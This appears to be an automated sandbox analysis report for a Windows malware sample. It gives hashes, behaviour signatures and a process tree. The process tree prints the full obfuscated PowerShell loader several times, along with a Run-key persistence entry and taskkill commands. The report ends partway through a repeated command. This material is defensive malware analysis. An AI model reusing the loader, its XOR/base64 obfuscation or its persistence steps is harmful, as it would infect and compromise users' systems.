6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9

Analysis

max time kernel
148s
max time network
117s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 11:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9.exe
Size 2.2MB
Sample260910-nandsssckd
SHA256 6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9
MD5 8fab93f4e9760c1c6430a5bbeb38c02c
SHA1 90cd45fb6535fe9c74fc7b00bf17c0f062b2358b
SHA512 c740e4d0f3b84d8740e92a8811be3359f6d9e453eb30b37ec049ff0a80bf2386c9dba77be8f657ce198a16f1b08bc039566330ec7eb6243bf898763fdb237b05
SSDEEP 24576:hgjgtvi8lKKKKKKKKKKKKKKK2TnXEif/8stHVf/8stHvvMM8bVc8CKkVwU2yAXsa:Ni8lKKKKKKKKKKKKKKKP
TLSH
T1D6B59832E6025FC2E72F57345D756F80D7CE26E7D43006AB921E773AE9E81A4881319E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4756	powershell.exe
2	4756	powershell.exe
4	4756	powershell.exe
5	4756	powershell.exe
6	2236	powershell.exe
7	2236	powershell.exe
8	2236	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2788	powershell.exe
2996	powershell.exe
5664	powershell.exe
4756	powershell.exe
2236	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows\CurrentVersion\Run\nAlkhnffbm = "C:\\ProgramData\\bfaSmSn.bat"	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5296	cmd.exe
4316	cmd.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
5312	taskkill.exe
5264	taskkill.exe
5584	taskkill.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2788	powershell.exe
2788	powershell.exe
4756	powershell.exe
4756	powershell.exe
2996	powershell.exe
2996	powershell.exe
2996	powershell.exe
5664	powershell.exe
5664	powershell.exe
5664	powershell.exe
2236	powershell.exe
2236	powershell.exe
2236	powershell.exe
4756	powershell.exe
4756	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	5312	taskkill.exe
Token: SeDebugPrivilege	5264	taskkill.exe
Token: SeDebugPrivilege	5584	taskkill.exe
Token: SeDebugPrivilege	5664	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 5296	2784	6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9.exe	89
PID 5296 wrote to memory of 2788	5296	cmd.exe	91
PID 2788 wrote to memory of 4756	2788	powershell.exe	92
PID 4756 wrote to memory of 2916	4756	powershell.exe	94
PID 2916 wrote to memory of 3112	2916	csc.exe	95
PID 4756 wrote to memory of 2996	4756	powershell.exe	97
PID 2996 wrote to memory of 4316	2996	powershell.exe	99
PID 4316 wrote to memory of 5312	4316	cmd.exe	101
PID 4316 wrote to memory of 5264	4316	cmd.exe	103
PID 4316 wrote to memory of 5584	4316	cmd.exe	105
PID 5664 wrote to memory of 2236	5664	powershell.exe	107
PID 2236 wrote to memory of 2444	2236	powershell.exe	109
PID 2444 wrote to memory of 4260	2444	csc.exe	110

C:\Users\Admin\AppData\Local\Temp\6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9.exe
"C:\Users\Admin\AppData\Local\Temp\6dc0f29ed4b0f9ec698c541af912345476c57f0a9cd8e5471bfe714cf9b656e9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\6efc4ccb-cdb6-4922-b1bd-933d2c5ca596.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=85-64;$iyVyg7iS8=''grOwRSqTBB'';$opGZLdx=''abad8bbe8c90b490c8b7a3f0c1aed182ff95d5daf8eade86ab80a88a8d85e38c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0bebf818dbea5b5b5e583b6a48b8dbe93c6aba2b693b88a8d86c4d2aebfb7889f998abec8dcbbb9aa8cb39fd1ff8dc194e8a3c182d59ba3919acca6a5ccf485f4d1f3e2bbb9b997a9d5aab79b8d98edf5b6b89b96b59a9bc8fed5ef86b69cafd0bb8dbfae8cbe9da9b497869c80b98bbc9f9ca9a3d2d29ebd86a88a90af87b89aa2ac8abe9795fbc3c8b383bd91f3ab9cb88b9a81b9a1b5af978db49d878499a195b8a5c3e1aa849bfceae8d7dc98e8ced5c092b6c5fa95b2888782a2fb8a8be88d89a1cbabafa09490ac91b594b89e9bffbe9fadbbb3ab91bfc3bc9288b68b8aa29399d0b4929487bf88b0a4dedfbca884848dcc98b58698ac8888e8d3c9aa8ebf8db8eda68a8c9bae8782de9ab396b299c8ae8cdebcbdb9939782b3ecb1928a9eb49596cea8b69dc3c3b7b9b28f90b0a292808afb9f88918dcfa1b4da9abe8290a988b590b99899bb968987cec9b7cb9d87b8e0b288888bb6c88098e29794b29195b0a7bca2b9ef90ef81a3b2c99998fbb397eaceaaafc8bba1bba8ca8d8b89989b99dfac8888bcd3d2b0c89198b8b784bb8288aab798b28a9d9cbfbba1b6b4abb1b8b997948888ae8792b2a4ef8e949594a1b299afa3e0d3ac91b28cac80a5a0eb93e89eb5af9c9db9a6ba80ea95ccaecf99a5ff9288968dbcb1c98d83a495b2ec8cb5baaf85a49ea98d87ceafad8cde8eb994d3e8968aecb084a2ffaa9c94958da1c899aea3eda2ac91a3b2cb9a87bcbd94ea89b4b58eb0a2be82d2928d89becd9ddde69596e5d7b7a3afd5d5eaf1e8d7b99dbfd3bc91bdbdc5f0ac80ab9bac8dabb18bb48c90b490c8c0968c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0be9e9797ad9b9a9c90e2df9b8a96b6bc899ba8eed18e8c8bb2908fc0e9b9d6edd1d0f2f3e28eb8b686a99196b5de8cc0e9b9d6ecd182ff9fdbdaf09680aad5b6b9948d8bb9f8abb88cd78c9b8aaba1b180b38cc2f3b98d9ce08a84b39c96b6decc89fee9c5f0bb96ae909cc8e9b9d6ecd6bab48b869ce4a4c0a68c8ba2859a8db9ad97b3d8ddbacddac689b792b39496ba9aac89b9b9cdf9a7d0a69d899caeb09ea08584d6f48e9da3bb91b49797fb97c0ccacebc9f999cdf7da89dde1fc84ebc5b9f3d7c193e9b9d2e0a3a9b39f869ca2b5a2bc8c9c86c4d2a4a2b9819c8b8abe938a84b4f0c1bccbd0e0da89d0f0fc84ead6bebe8abc91bdbd96f5d185e485ccb7e39e90b194b7ba938dc8e0bd'';$shAzAitV=''Qwc+QzN7HyV2Lg8DexopQUF1WnJGT3VGLyJFNDs/aXV/RGtjR3V+eFwJWEtpYk1vcFFeRn1RWi57bzcwQG53R2xMc2cnW3lzcVN+TEpxVEFcHllUbkwWSHtNHXZueExWTUslRFwScR8gLw0oLDNQFydLYS4FJXYuHG5pcXNnUGh0Pkl8W0Fzb1JgY3hAeiAYRHRBYGNye0lpVmZoR2Q/M1MfM188IkU4OV5cUXVJYi4AYyc7FkYsC3oLLgwdM1AWJ2IvLgxeeTcVS1NLTiENITw3Gnh0AiBsaWNDJwdSTEtNVW5vY1xUTC9qU3UQN117B0pIT14xcG1NUFZKL0xTbFRsRnpoFUpPXilwbF1YfkxqYVNofmtDY2hgfk8yaHB7LlxlTVBROiENKDs/Gnh0AiBqbWhefX9FThI/bG4xZCB9Xn5uSXwcb0RtUVVXEjJvcGgiXGNMLxBebB1RRydCRldPcDsZJj4+Hg8yfWkmA21efntNV0BTNhwyWm4La1RbP2x3e2R5fBdpEUl8UE5BfGhRTlg+TXNrXWQPADMLLgsuaHE/GgN4EDpiBCV1JhsKe0xjLgBgIyppc39acyhhb3R4Vk50RVo8HlRDUQoJXUdzVVBzfnlVDz5ANS8NLHp2RkRyClhoBCZgWnFRa243OwMoNzwSD0VMJyFWcH1URVNOcTZ1dFdgWnESaUU6OwMoNzwSD0VMJyFRTFtUFQ4zWQoMBCEzdQEHJwIvWUohMH57dFMSdXd2d00hZUx7DVN8aWtDb39NSVtKMWsxZE9hXmkRSDYdUVB6Bgx7TjJzRW1dZmJKdQleIQ0hLDcWRSkCOiYAYyQ5YVJ4UXN0TW9wPwILOgZlNQpNcnlVU3ICKiYVMz4aOAN7ETYmGSE/SFwHPVhWOxkmPjcJKhAGZTIZKUh5EgBxe1BLTnFYdVhXKHA3dHdVMD4SDDoKWGgEJnxNX31wVTo7AygsGjgHOgInbwQpTFRdSWxHdXJ5Oy1RQEh3YGZ1QTcjREZVc0xgLgBMdmNRT39RXDd5KD43FkUuAi9ZSiEwfV1KSUgzPhkmPjdyDz5ANCoEJXYkAws6ClhoBCZ5Z0NDaBdAcE9mKioVDjYCL1lKITBlQkp4VF4tdiY+OxIPRUwnIV5AKioVDjoOJy57bzcwWmpOaSAvDQwdNxIHOmVicglRZXhRQmlRe3VLc2M3cXdPAipiQXJ0a0FCdkdkcgQscX5AVG4CMnpCdTdZU0p/DkRWcSFqGjgqEAInJgQhNzcSBzo='';$mbGFaXp=0xA163-0xDF8F;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0xAA)};$v3w7Meu=$nrNSFmCc;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0x55)};$r0MGddW0=$nrNSFmCc;$nrNSFmCcoldR='''';$i=0;for($j=0;$j-lt$opGZLdx.Length;$j+=2){$nrNSFmCcoldR+=[char](([Convert]::ToInt32($opGZLdx.Substring($j,2),16))-bxor$v3w7Meu[$i++%$v3w7Meu.Length])};$g1vdAlU8=$nrNSFmCcoldR;$nrNSFmCcoldB=[Convert]::FromBase64String([regex]::Replace($shAzAitV, ''$nrNSFmCc'', ''''));$nrNSFmCcoldR='''';$i=0;for($j=0;$j-lt$nrNSFmCcoldB.Length;$j++){$nrNSFmCcoldR+=[char]($nrNSFmCcoldB[$j]-bxor$r0MGddW0[$i++%$r0MGddW0.Length])};$dwmhgMk4M=$nrNSFmCcoldR;$aHfO2a=$g1vdAlU8+$dwmhgMk4M;.($env:ComSpec[4,26,25]-join'''') $aHfO2a\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\6efc4ccb-cdb6-4922-b1bd-933d2c5ca596.bat' -Destination 'C:\ProgramData\bfaSmSn.bat' -Force -ErrorAction SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=85-64;$iyVyg7iS8='grOwRSqTBB';$opGZLdx='abad8bbe8c90b490c8b7a3f0c1aed182ff95d5daf8eade86ab80a88a8d85e38c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0bebf818dbea5b5b5e583b6a48b8dbe93c6aba2b693b88a8d86c4d2aebfb7889f998abec8dcbbb9aa8cb39fd1ff8dc194e8a3c182d59ba3919acca6a5ccf485f4d1f3e2bbb9b997a9d5aab79b8d98edf5b6b89b96b59a9bc8fed5ef86b69cafd0bb8dbfae8cbe9da9b497869c80b98bbc9f9ca9a3d2d29ebd86a88a90af87b89aa2ac8abe9795fbc3c8b383bd91f3ab9cb88b9a81b9a1b5af978db49d878499a195b8a5c3e1aa849bfceae8d7dc98e8ced5c092b6c5fa95b2888782a2fb8a8be88d89a1cbabafa09490ac91b594b89e9bffbe9fadbbb3ab91bfc3bc9288b68b8aa29399d0b4929487bf88b0a4dedfbca884848dcc98b58698ac8888e8d3c9aa8ebf8db8eda68a8c9bae8782de9ab396b299c8ae8cdebcbdb9939782b3ecb1928a9eb49596cea8b69dc3c3b7b9b28f90b0a292808afb9f88918dcfa1b4da9abe8290a988b590b99899bb968987cec9b7cb9d87b8e0b288888bb6c88098e29794b29195b0a7bca2b9ef90ef81a3b2c99998fbb397eaceaaafc8bba1bba8ca8d8b89989b99dfac8888bcd3d2b0c89198b8b784bb8288aab798b28a9d9cbfbba1b6b4abb1b8b997948888ae8792b2a4ef8e949594a1b299afa3e0d3ac91b28cac80a5a0eb93e89eb5af9c9db9a6ba80ea95ccaecf99a5ff9288968dbcb1c98d83a495b2ec8cb5baaf85a49ea98d87ceafad8cde8eb994d3e8968aecb084a2ffaa9c94958da1c899aea3eda2ac91a3b2cb9a87bcbd94ea89b4b58eb0a2be82d2928d89becd9ddde69596e5d7b7a3afd5d5eaf1e8d7b99dbfd3bc91bdbdc5f0ac80ab9bac8dabb18bb48c90b490c8c0968c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0be9e9797ad9b9a9c90e2df9b8a96b6bc899ba8eed18e8c8bb2908fc0e9b9d6edd1d0f2f3e28eb8b686a99196b5de8cc0e9b9d6ecd182ff9fdbdaf09680aad5b6b9948d8bb9f8abb88cd78c9b8aaba1b180b38cc2f3b98d9ce08a84b39c96b6decc89fee9c5f0bb96ae909cc8e9b9d6ecd6bab48b869ce4a4c0a68c8ba2859a8db9ad97b3d8ddbacddac689b792b39496ba9aac89b9b9cdf9a7d0a69d899caeb09ea08584d6f48e9da3bb91b49797fb97c0ccacebc9f999cdf7da89dde1fc84ebc5b9f3d7c193e9b9d2e0a3a9b39f869ca2b5a2bc8c9c86c4d2a4a2b9819c8b8abe938a84b4f0c1bccbd0e0da89d0f0fc84ead6bebe8abc91bdbd96f5d185e485ccb7e39e90b194b7ba938dc8e0bd';$shAzAitV='Qwc+QzN7HyV2Lg8DexopQUF1WnJGT3VGLyJFNDs/aXV/RGtjR3V+eFwJWEtpYk1vcFFeRn1RWi57bzcwQG53R2xMc2cnW3lzcVN+TEpxVEFcHllUbkwWSHtNHXZueExWTUslRFwScR8gLw0oLDNQFydLYS4FJXYuHG5pcXNnUGh0Pkl8W0Fzb1JgY3hAeiAYRHRBYGNye0lpVmZoR2Q/M1MfM188IkU4OV5cUXVJYi4AYyc7FkYsC3oLLgwdM1AWJ2IvLgxeeTcVS1NLTiENITw3Gnh0AiBsaWNDJwdSTEtNVW5vY1xUTC9qU3UQN117B0pIT14xcG1NUFZKL0xTbFRsRnpoFUpPXilwbF1YfkxqYVNofmtDY2hgfk8yaHB7LlxlTVBROiENKDs/Gnh0AiBqbWhefX9FThI/bG4xZCB9Xn5uSXwcb0RtUVVXEjJvcGgiXGNMLxBebB1RRydCRldPcDsZJj4+Hg8yfWkmA21efntNV0BTNhwyWm4La1RbP2x3e2R5fBdpEUl8UE5BfGhRTlg+TXNrXWQPADMLLgsuaHE/GgN4EDpiBCV1JhsKe0xjLgBgIyppc39acyhhb3R4Vk50RVo8HlRDUQoJXUdzVVBzfnlVDz5ANS8NLHp2RkRyClhoBCZgWnFRa243OwMoNzwSD0VMJyFWcH1URVNOcTZ1dFdgWnESaUU6OwMoNzwSD0VMJyFRTFtUFQ4zWQoMBCEzdQEHJwIvWUohMH57dFMSdXd2d00hZUx7DVN8aWtDb39NSVtKMWsxZE9hXmkRSDYdUVB6Bgx7TjJzRW1dZmJKdQleIQ0hLDcWRSkCOiYAYyQ5YVJ4UXN0TW9wPwILOgZlNQpNcnlVU3ICKiYVMz4aOAN7ETYmGSE/SFwHPVhWOxkmPjcJKhAGZTIZKUh5EgBxe1BLTnFYdVhXKHA3dHdVMD4SDDoKWGgEJnxNX31wVTo7AygsGjgHOgInbwQpTFRdSWxHdXJ5Oy1RQEh3YGZ1QTcjREZVc0xgLgBMdmNRT39RXDd5KD43FkUuAi9ZSiEwfV1KSUgzPhkmPjdyDz5ANCoEJXYkAws6ClhoBCZ5Z0NDaBdAcE9mKioVDjYCL1lKITBlQkp4VF4tdiY+OxIPRUwnIV5AKioVDjoOJy57bzcwWmpOaSAvDQwdNxIHOmVicglRZXhRQmlRe3VLc2M3cXdPAipiQXJ0a0FCdkdkcgQscX5AVG4CMnpCdTdZU0p/DkRWcSFqGjgqEAInJgQhNzcSBzo=';$mbGFaXp=0xA163-0xDF8F;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0xAA)};$v3w7Meu=$nrNSFmCc;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0x55)};$r0MGddW0=$nrNSFmCc;$nrNSFmCcoldR='';$i=0;for($j=0;$j-lt$opGZLdx.Length;$j+=2){$nrNSFmCcoldR+=[char](([Convert]::ToInt32($opGZLdx.Substring($j,2),16))-bxor$v3w7Meu[$i++%$v3w7Meu.Length])};$g1vdAlU8=$nrNSFmCcoldR;$nrNSFmCcoldB=[Convert]::FromBase64String([regex]::Replace($shAzAitV, '$nrNSFmCc', ''));$nrNSFmCcoldR='';$i=0;for($j=0;$j-lt$nrNSFmCcoldB.Length;$j++){$nrNSFmCcoldR+=[char]($nrNSFmCcoldB[$j]-bxor$r0MGddW0[$i++%$r0MGddW0.Length])};$dwmhgMk4M=$nrNSFmCcoldR;$aHfO2a=$g1vdAlU8+$dwmhgMk4M;.($env:ComSpec[4,26,25]-join'') $aHfO2a"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4756
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pw4fpqc0\pw4fpqc0.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2916
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES54AE.tmp" "c:\Users\Admin\AppData\Local\Temp\pw4fpqc0\CSC35B31B0B40564380BF715E25C444E71C.TMP"
        6⤵
        
        PID:3112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2996
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4316
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5312
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5264
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=85-64;$iyVyg7iS8=''grOwRSqTBB'';$opGZLdx=''abad8bbe8c90b490c8b7a3f0c1aed182ff95d5daf8eade86ab80a88a8d85e38c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0bebf818dbea5b5b5e583b6a48b8dbe93c6aba2b693b88a8d86c4d2aebfb7889f998abec8dcbbb9aa8cb39fd1ff8dc194e8a3c182d59ba3919acca6a5ccf485f4d1f3e2bbb9b997a9d5aab79b8d98edf5b6b89b96b59a9bc8fed5ef86b69cafd0bb8dbfae8cbe9da9b497869c80b98bbc9f9ca9a3d2d29ebd86a88a90af87b89aa2ac8abe9795fbc3c8b383bd91f3ab9cb88b9a81b9a1b5af978db49d878499a195b8a5c3e1aa849bfceae8d7dc98e8ced5c092b6c5fa95b2888782a2fb8a8be88d89a1cbabafa09490ac91b594b89e9bffbe9fadbbb3ab91bfc3bc9288b68b8aa29399d0b4929487bf88b0a4dedfbca884848dcc98b58698ac8888e8d3c9aa8ebf8db8eda68a8c9bae8782de9ab396b299c8ae8cdebcbdb9939782b3ecb1928a9eb49596cea8b69dc3c3b7b9b28f90b0a292808afb9f88918dcfa1b4da9abe8290a988b590b99899bb968987cec9b7cb9d87b8e0b288888bb6c88098e29794b29195b0a7bca2b9ef90ef81a3b2c99998fbb397eaceaaafc8bba1bba8ca8d8b89989b99dfac8888bcd3d2b0c89198b8b784bb8288aab798b28a9d9cbfbba1b6b4abb1b8b997948888ae8792b2a4ef8e949594a1b299afa3e0d3ac91b28cac80a5a0eb93e89eb5af9c9db9a6ba80ea95ccaecf99a5ff9288968dbcb1c98d83a495b2ec8cb5baaf85a49ea98d87ceafad8cde8eb994d3e8968aecb084a2ffaa9c94958da1c899aea3eda2ac91a3b2cb9a87bcbd94ea89b4b58eb0a2be82d2928d89becd9ddde69596e5d7b7a3afd5d5eaf1e8d7b99dbfd3bc91bdbdc5f0ac80ab9bac8dabb18bb48c90b490c8c0968c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0be9e9797ad9b9a9c90e2df9b8a96b6bc899ba8eed18e8c8bb2908fc0e9b9d6edd1d0f2f3e28eb8b686a99196b5de8cc0e9b9d6ecd182ff9fdbdaf09680aad5b6b9948d8bb9f8abb88cd78c9b8aaba1b180b38cc2f3b98d9ce08a84b39c96b6decc89fee9c5f0bb96ae909cc8e9b9d6ecd6bab48b869ce4a4c0a68c8ba2859a8db9ad97b3d8ddbacddac689b792b39496ba9aac89b9b9cdf9a7d0a69d899caeb09ea08584d6f48e9da3bb91b49797fb97c0ccacebc9f999cdf7da89dde1fc84ebc5b9f3d7c193e9b9d2e0a3a9b39f869ca2b5a2bc8c9c86c4d2a4a2b9819c8b8abe938a84b4f0c1bccbd0e0da89d0f0fc84ead6bebe8abc91bdbd96f5d185e485ccb7e39e90b194b7ba938dc8e0bd'';$shAzAitV=''Qwc+QzN7HyV2Lg8DexopQUF1WnJGT3VGLyJFNDs/aXV/RGtjR3V+eFwJWEtpYk1vcFFeRn1RWi57bzcwQG53R2xMc2cnW3lzcVN+TEpxVEFcHllUbkwWSHtNHXZueExWTUslRFwScR8gLw0oLDNQFydLYS4FJXYuHG5pcXNnUGh0Pkl8W0Fzb1JgY3hAeiAYRHRBYGNye0lpVmZoR2Q/M1MfM188IkU4OV5cUXVJYi4AYyc7FkYsC3oLLgwdM1AWJ2IvLgxeeTcVS1NLTiENITw3Gnh0AiBsaWNDJwdSTEtNVW5vY1xUTC9qU3UQN117B0pIT14xcG1NUFZKL0xTbFRsRnpoFUpPXilwbF1YfkxqYVNofmtDY2hgfk8yaHB7LlxlTVBROiENKDs/Gnh0AiBqbWhefX9FThI/bG4xZCB9Xn5uSXwcb0RtUVVXEjJvcGgiXGNMLxBebB1RRydCRldPcDsZJj4+Hg8yfWkmA21efntNV0BTNhwyWm4La1RbP2x3e2R5fBdpEUl8UE5BfGhRTlg+TXNrXWQPADMLLgsuaHE/GgN4EDpiBCV1JhsKe0xjLgBgIyppc39acyhhb3R4Vk50RVo8HlRDUQoJXUdzVVBzfnlVDz5ANS8NLHp2RkRyClhoBCZgWnFRa243OwMoNzwSD0VMJyFWcH1URVNOcTZ1dFdgWnESaUU6OwMoNzwSD0VMJyFRTFtUFQ4zWQoMBCEzdQEHJwIvWUohMH57dFMSdXd2d00hZUx7DVN8aWtDb39NSVtKMWsxZE9hXmkRSDYdUVB6Bgx7TjJzRW1dZmJKdQleIQ0hLDcWRSkCOiYAYyQ5YVJ4UXN0TW9wPwILOgZlNQpNcnlVU3ICKiYVMz4aOAN7ETYmGSE/SFwHPVhWOxkmPjcJKhAGZTIZKUh5EgBxe1BLTnFYdVhXKHA3dHdVMD4SDDoKWGgEJnxNX31wVTo7AygsGjgHOgInbwQpTFRdSWxHdXJ5Oy1RQEh3YGZ1QTcjREZVc0xgLgBMdmNRT39RXDd5KD43FkUuAi9ZSiEwfV1KSUgzPhkmPjdyDz5ANCoEJXYkAws6ClhoBCZ5Z0NDaBdAcE9mKioVDjYCL1lKITBlQkp4VF4tdiY+OxIPRUwnIV5AKioVDjoOJy57bzcwWmpOaSAvDQwdNxIHOmVicglRZXhRQmlRe3VLc2M3cXdPAipiQXJ0a0FCdkdkcgQscX5AVG4CMnpCdTdZU0p/DkRWcSFqGjgqEAInJgQhNzcSBzo='';$mbGFaXp=0xA163-0xDF8F;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0xAA)};$v3w7Meu=$nrNSFmCc;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0x55)};$r0MGddW0=$nrNSFmCc;$nrNSFmCcoldR='''';$i=0;for($j=0;$j-lt$opGZLdx.Length;$j+=2){$nrNSFmCcoldR+=[char](([Convert]::ToInt32($opGZLdx.Substring($j,2),16))-bxor$v3w7Meu[$i++%$v3w7Meu.Length])};$g1vdAlU8=$nrNSFmCcoldR;$nrNSFmCcoldB=[Convert]::FromBase64String([regex]::Replace($shAzAitV, ''$nrNSFmCc'', ''''));$nrNSFmCcoldR='''';$i=0;for($j=0;$j-lt$nrNSFmCcoldB.Length;$j++){$nrNSFmCcoldR+=[char]($nrNSFmCcoldB[$j]-bxor$r0MGddW0[$i++%$r0MGddW0.Length])};$dwmhgMk4M=$nrNSFmCcoldR;$aHfO2a=$g1vdAlU8+$dwmhgMk4M;.($env:ComSpec[4,26,25]-join'''') $aHfO2a\"'" ; Copy-Item -Path 'C:\ProgramData\bfaSmSn.bat' -Destination 'C:\ProgramData\bfaSmSn.bat' -Force -ErrorAction SilentlyContinue
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=85-64;$iyVyg7iS8='grOwRSqTBB';$opGZLdx='abad8bbe8c90b490c8b7a3f0c1aed182ff95d5daf8eade86ab80a88a8d85e38c80a58cd79e908b87a9b18bbaa5c3e1abbcaef5f6a2b88caaaf8c8186aaf0bebf818dbea5b5b5e583b6a48b8dbe93c6aba2b693b88a8d86c4d2aebfb7889f998abec8dcbbb9aa8cb39fd1ff8dc194e8a3c182d59ba3919acca6a5ccf485f4d1f3e2bbb9b997a9d5aab79b8d98edf5b6b89b96b59a9bc8fed5ef86b69cafd0bb8dbfae8cbe9da9b497869c80b98bbc9f9ca9a3d2d29ebd86a88a90af87b89aa2ac8abe9795fbc3c8b383bd91f3ab9cb88b9a81b9a1b5af978db49d878499a195b8a5c3e1aa849bfceae8d7dc98e8ced5c092b6c5fa95b2888782a2fb8a8be88d89a1cbabafa09490ac91b594b89e9bffbe9fadbbb3ab91bfc3bc9288b68b8aa29399d0b4929487bf88b0a4dedfbca884848dcc98b58698ac8888e8d3c9aa8ebf8db8eda68a8c9bae8782de9ab396b299c8ae8cdebcbdb9939782b3ecb1928a9eb49596cea8b69dc3c3b7b9b28f90b0a292808afb9f88918dcfa1b4da9abe8290a988b590b99899bb968987cec9b7cb9d87b8e0b288888bb6c88098e29794b29195b0a7bca2b9ef90ef81a3b2